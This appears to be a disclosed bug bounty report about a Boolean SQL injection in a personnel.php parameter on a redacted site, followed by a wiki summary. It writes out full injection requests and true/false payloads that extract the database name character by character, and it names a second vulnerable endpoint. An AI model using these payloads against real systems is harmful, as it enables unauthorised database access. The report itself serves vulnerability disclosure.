[████████] Boolean SQL Injection (/personnel.php?content=profile&rcnum=*)
A Boolean SQL injection existed in the rcnum parameter of personnel.php, allowing an authenticated attacker to extract database information by observing true/false responses. The attacker demonstrated extracting the database name character by character.
- Triaged in 24 hours
- Fixed in 33 days
- Disclosed after 5 months
In this report, I want to describe a dangerous SQL injection, with the help of which I was able to extract certain data from the database.
I used the insights from this report #648222. Using the bug from the aforementioned report, I could find this endpoint and done SQL injection.
Steps to reproduce
- Use this request:
GET /personnel.php?content=profile&rcnum=rc12346'+++and+(select++substr(database(),1,1)++=++'c')+and+'1'='1 HTTP/1.1
Host: ███████
Connection: close
Text for find
ame='firstName' minlength='1' maxlength='20' size='15' value='
If sql expression is successful, the answer will be True:
█████████
If not success False:
██████
Payloads, what response True:
2=2
true
'test'='test'
len('12345')=5
2*4*3=8*3
Paylods, what response False:
1=2
false
'test'='admin'
len('12345')=10
2*3*4=3*4
- Then I try to extract number of colums in current table:
GET /personnel.php?content=profile&rcnum=rc12346'+order+by+49--+ HTTP/1.1
Host: █████████
Connection: close
Then I try to extract length of DB using this request.
Length of DB by payload is 39:
GET /personnel.php?content=profile&rcnum=rc12346'+++and++(select+length(database())+=+39+)++and+'1'='1 HTTP/1.1
Host: ████████
Connection: close
Then I try to extract name of DB using this request:
GET /personnel.php?content=profile&rcnum=rc12346'+++and+(select++substr(database(),1,1)++=++'c')+and+'1'='1 HTTP/1.1
Host: ███
Connection: close
First symbol: █████
Second: █████████
3 symbols:
GET /personnel.php?content=profile&rcnum=rc12346'+++and+(select++substr(database(),1,3)='cf_')+and+'1'='1 HTTP/1.1
Host: █████████
Connection: close
Full db name is █████████
Attention!
I want to draw your attention that I have already found sql injection on this site. This report is #512693.
Vulnerability in the report specified by me is performed only from an authorized user. Last time, your team could not validate this vulnerability due to the fact that the developers made changes to the site very quickly. But this vulnerability still exists! This vulnerability in another endpoint (other part of site load for user, endpoint is personnel.php?content=training&folder=FA_CERT&item=*&rcnum=rc22752) and available only for authorized users. Please send this vulnerability for review to developers, having previously triage it.
In the current report, I gave evidence that my last report #512693 is also valid. I hope for your understanding.
Impact
Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the rcnum parameter is concatenated directly into an SQL query without parameterisation or escaping.
Impact
An authenticated user could extract the database name via the Boolean SQL injection.
What the attacker needed
Authenticated user
How it was found
- Send a request to personnel.php with a crafted rcnum value containing an SQL condition that evaluates to true.
- Observe that the response contains a specific text string indicating a true result.
- Send a request with a condition that evaluates to false and observe a False response.
- Use order by to determine the number of columns in the current table.
- Use a length function to determine the length of the database name.
- Use substr to extract the database name character by character.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is when user input is inserted into a database query without proper handling, letting an attacker change the query's meaning. Here, the attacker could ask yes/no questions to the database and read its name one letter at a time. This required being logged in.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.